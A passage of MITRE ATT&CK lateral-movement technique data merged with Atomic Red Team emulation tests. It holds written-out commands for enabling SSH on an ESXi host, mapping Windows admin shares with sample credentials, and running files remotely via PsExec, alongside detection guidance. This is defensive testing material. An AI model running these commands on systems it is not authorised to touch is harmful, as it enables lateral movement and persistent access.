https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1021.004: technique: modified: '2023-08-11T20:24:03.069Z' name: 'Remote Services: SSH' description: |- Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_deprecated: false x_mitre_detection: |- Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. On macOS systems log show --predicate 'process = "sshd"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = "ssh" or eventMessage contains "ssh"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS x_mitre_version: '1.2' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Process: Process Creation' - 'Network Traffic: Network Connection Creation' x_mitre_system_requirements: - An SSH server is configured and running. type: attack-pattern id: attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6 created: '2020-02-11T18:27:15.774Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021/004 external_id: T1021.004 - source_name: Apple Unified Log Analysis Remote Login and Screen Sharing description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.' url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1021.004 atomic_tests: - name: ESXi - Enable SSH via PowerCLI auto_generated_guid: 8f6c14d1-f13d-4616-b7fc-98cc69fe56ec description: 'An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations. ' supported_platforms: - linux input_arguments: vm_host: description: Specify the host name of the ESXi Server type: string default: atomic.local vm_user: description: Specify the privilege user account on ESXi Server type: string default: root vm_pass: description: Specify the privilege user password on ESXi Server type: string default: pass dependency_executor_name: powershell dependencies: - description: 'Check if VMWARE PowerCLI PowerShell Module is installed. ' prereq_command: | $RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailable if (-not $RequiredModule) {exit 1} get_prereq_command: 'Install-Module -Name VMware.PowerCLI ' executor: command: "Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\nGet-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq \"TSM-SSH\" } | Start-VMHostService -Confirm:$false\n" cleanup_command: "Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\nGet-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq \"TSM-SSH\" } | Stop-VMHostService -Confirm:$false\n" name: powershell elevation_required: true T1091: technique: modified: '2023-10-17T20:42:21.453Z' name: Replication Through Removable Media description: |- Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself. Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Joas Antonio dos Santos, @C0d3Cr4zy x_mitre_deprecated: false x_mitre_detection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Access' - 'Process: Process Creation' - 'Drive: Drive Creation' - 'File: File Creation' x_mitre_system_requirements: - Removable media allowed, Autorun enabled or vulnerability present that allows for code execution type: attack-pattern id: attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4 created: '2017-05-31T21:31:08.977Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1091 external_id: T1091 - source_name: Windows Malware Infecting Android description: Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022. url: https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html - source_name: iPhone Charging Cable Hack description: Zack Whittaker. (2019, August 12). This hacker’s iPhone charging cable can hijack your computer. Retrieved May 25, 2022. url: https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/ - source_name: 'Exploiting Smartphone USB ' description: Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone USB Connectivity For Fun And Profit. Retrieved May 25, 2022. url: https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1091 atomic_tests: - name: USB Malware Spread Simulation auto_generated_guid: d44b7297-622c-4be8-ad88-ec40d7563c75 description: "Simulates an adversary copying malware to all connected removable drives. \n" supported_platforms: - windows executor: name: powershell command: | $RemovableDrives=@() $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID ForEach ($Drive in $RemovableDrives) { write-host "Removable Drive Found:" $Drive New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives." } cleanup_command: | $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID ForEach ($Drive in $RemovableDrives) { Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore } T1021.008: technique: modified: '2023-10-27T18:32:11.219Z' name: Direct Cloud VM Connections description: "Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651))." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Thanabodi Phrakhun, @naikordian x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - IaaS x_mitre_version: '1.0' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' type: attack-pattern id: attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09 created: '2023-06-02T15:27:55.412Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021/008 external_id: T1021.008 - source_name: EC2 Instance Connect description: AWS. (2023, June 2). Connect using EC2 Instance Connect. Retrieved June 2, 2023. url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html - source_name: AWS System Manager description: AWS. (2023, June 2). What is AWS System Manager?. Retrieved June 2, 2023. url: https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html - source_name: 'lucr-3: Getting SaaS-y in the cloud' description: 'Ian Ahl. (2023, September 20). LUCR-3: Scattered Spider Getting SaaS-y In The Cloud. Retrieved September 20, 2023.' url: https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud - source_name: SIM Swapping and Abuse of the Microsoft Azure Serial Console description: 'Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.' url: https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial - source_name: Azure Serial Console description: Microsoft. (2022, October 17). Azure Serial Console. Retrieved June 2, 2023. url: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/serial-console-overview object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1563.001: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Anastasios Pingios object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8 type: attack-pattern created: '2020-02-25T18:34:38.290Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1563.001 url: https://attack.mitre.org/techniques/T1563/001 - url: https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219 description: Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018. source_name: Slideshare Abusing SSH - url: https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf description: 'Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.' source_name: SSHjack Blackhat - url: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking description: Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017. source_name: Clockwork SSH Agent Hijacking - source_name: Breach Post-mortem SSH Hijack url: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident description: Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020. modified: '2021-04-29T14:49:39.188Z' name: SSH Hijacking description: |- Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack) [SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_detection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Network Traffic: Network Traffic Content' - 'Command: Command Execution' - 'Logon Session: Logon Session Creation' - 'Network Traffic: Network Traffic Flow' x_mitre_permissions_required: - root x_mitre_system_requirements: - SSH service enabled, trust relationships configured, established connections spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1021.002: technique: modified: '2023-07-28T17:34:51.250Z' name: 'Remote Services: SMB/Windows Admin Shares' description: |- Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user. SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba. Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_deprecated: false x_mitre_detection: 'Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Network Share: Network Share Access' - 'Network Traffic: Network Traffic Flow' - 'Logon Session: Logon Session Creation' - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_system_requirements: - SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account. type: attack-pattern id: attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541 created: '2020-02-11T18:25:28.212Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021/002 external_id: T1021.002 - source_name: Medium Detecting WMI Persistence description: French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019. url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 - source_name: TechNet RPC description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016. url: https://technet.microsoft.com/en-us/library/cc787851.aspx - source_name: Microsoft Admin Shares description: Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014. url: http://support.microsoft.com/kb/314984 - source_name: Windows Event Forwarding Payne description: Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016. url: https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem - source_name: Lateral Movement Payne description: Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016. url: https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts - source_name: Wikipedia Server Message Block description: Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017. url: https://en.wikipedia.org/wiki/Server_Message_Block object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1021.002 atomic_tests: - name: Map admin share auto_generated_guid: 3386975b-367a-4fbb-9d77-4dcf3639ffd3 description: 'Connecting To Remote Shares ' supported_platforms: - windows input_arguments: user_name: description: Username type: string default: DOMAIN\Administrator share_name: description: Examples C$, IPC$, Admin$ type: string default: C$ password: description: Password type: string default: P@ssw0rd1 computer_name: description: Target Computer Name type: string default: Target executor: command: 'cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}" ' name: command_prompt - name: Map Admin Share PowerShell auto_generated_guid: 514e9cd7-9207-4882-98b1-c8f791bae3c5 description: 'Map Admin share utilizing PowerShell ' supported_platforms: - windows input_arguments: share_name: description: Examples C$, IPC$, Admin$ type: string default: C$ map_name: description: Mapped Drive Letter type: string default: g computer_name: description: Target Computer Name type: string default: Target executor: command: 'New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name} ' name: powershell - name: Copy and Execute File with PsExec auto_generated_guid: 0eb03d41-79e4-4393-8e57-6344856be1cf description: 'Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec). ' supported_platforms: - windows input_arguments: command_path: description: File to copy and execute type: path default: C:\Windows\System32\cmd.exe remote_host: description: Remote computer to receive the copy and execute the file type: string default: "\\\\localhost" psexec_exe: description: Path to PsExec type: string default: PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe dependency_executor_name: powershell dependencies: - description: 'PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe}) ' prereq_command: 'if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_exe}" -Force executor: command: '"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path} ' name: command_prompt elevation_required: true - name: Execute command writing output to local Admin Share auto_generated_guid: d41aaab5-bdfe-431d-a3d5-c29e9136ff46 description: | Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks. supported_platforms: - windows input_arguments: output_file: description: Remote computer to receive the copy and execute the file type: string default: output.txt command_to_execute: description: Command to execute for output. type: string default: hostname executor: command: 'cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1 ' name: command_prompt elevation_required: true T1550: technique: modified: '2024-04-12T21:18:23.798Z' name: Use Alternate Authentication Material description: "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Blake Strom, Microsoft Threat Intelligence x_mitre_deprecated: false x_mitre_detection: 'Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Office 365 - SaaS - Google Workspace - IaaS - Containers x_mitre_version: '1.3' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Logon Session: Logon Session Creation' - 'Active Directory: Active Directory Credential Request' - 'Web Credential: Web Credential Usage' - 'User Account: User Account Authentication' x_mitre_defense_bypassed: - System Access Controls type: attack-pattern id: attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814 created: '2020-01-30T16:18:36.873Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550 external_id: T1550 - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx - source_name: NIST Authentication description: NIST. (n.d.). Authentication. Retrieved January 30, 2020. url: https://csrc.nist.gov/glossary/term/authentication - source_name: NIST MFA description: NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020. url: https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1021: technique: modified: '2024-03-01T15:35:38.299Z' name: Remote Services description: "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Dan Borges, @1njection x_mitre_deprecated: false x_mitre_detection: "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \n\nUse of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \n\nIn macOS, you can review logs for \"screensharingd\" and \"Authentication\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - IaaS x_mitre_version: '1.5' x_mitre_data_sources: - 'Module: Module Load' - 'Network Traffic: Network Connection Creation' - 'Command: Command Execution' - 'Network Share: Network Share Access' - 'WMI: WMI Creation' - 'Logon Session: Logon Session Creation' - 'Network Traffic: Network Traffic Flow' - 'Process: Process Creation' x_mitre_system_requirements: - Active remote service accepting connections and valid credentials type: attack-pattern id: attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba created: '2017-05-31T21:30:29.858Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021 external_id: T1021 - source_name: Apple Remote Desktop Admin Guide 3.3 description: Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021. url: https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf - source_name: Remote Management MDM macOS description: Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021. url: https://support.apple.com/en-us/HT209161 - source_name: Kickstart Apple Remote Desktop commands description: Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021. url: https://support.apple.com/en-us/HT201710 - source_name: Lockboxx ARD 2019 description: 'Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.' url: http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html - source_name: FireEye 2019 Apple Remote Desktop description: 'Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.' url: https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html - source_name: TechNet Remote Desktop Services description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016. url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx - source_name: Apple Unified Log Analysis Remote Login and Screen Sharing description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.' url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins - source_name: SSH Secure Shell description: SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020. url: https://www.ssh.com/ssh object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1563: technique: modified: '2024-02-26T14:21:37.818Z' name: Remote Service Session Hijacking description: |- Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_deprecated: false x_mitre_detection: |- 